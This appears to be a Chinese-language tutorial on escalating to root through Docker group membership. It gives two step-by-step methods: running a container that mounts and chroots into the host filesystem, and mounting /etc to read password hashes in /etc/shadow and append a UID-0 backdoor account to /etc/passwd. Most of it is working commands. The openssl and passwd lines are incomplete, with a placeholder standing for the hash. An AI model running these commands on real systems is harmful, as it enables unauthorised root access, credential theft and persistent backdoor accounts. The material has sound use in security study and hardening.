Docker 用户组提权

本文作者:一生热爱




# 一、简介

Docker 运行的所有命令都是需要 sudo 来运行,那是因为 docker 需要 root 权限才能跑。

Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限。

# 二、复现

如果一个服务器有一个普通的用户,并且这个用户加入了 docker 组,则这个用户已经是 root 了。

# 1、方法一

# 环境搭建

adduser test-d
usermod -G docker test-d
newgrp docker
1
2
3


Docker 组内用户执行命令的时候会自动在所有命令前添加 sudo

因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)

# 复现

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。

Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
1


参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

# 2、方法二

# 环境搭建

adduser test-d
usermod -G docker test-d
newgrp docker
1
2
3

# 复现

将 /etc/ 目录挂载进 Docker,查看 shadow 和 passwd

docker run -v /etc/:/mnt -it alpine
cd /mnt
cat shadow
1
2
3


这里已经获取到密码 hash,有两个办法进行权限提升,一是进行 hash 破解,二是添加一个特权账号,这里选择第二个方法。

openssl passwd -1 -salt test-docker
1


docker run -v /etc/:/mnt -it alpine
cd /mnt
echo 'test-docker:saltpasswd:0:0::/root:/bin/bash' >>passwd
1
2
3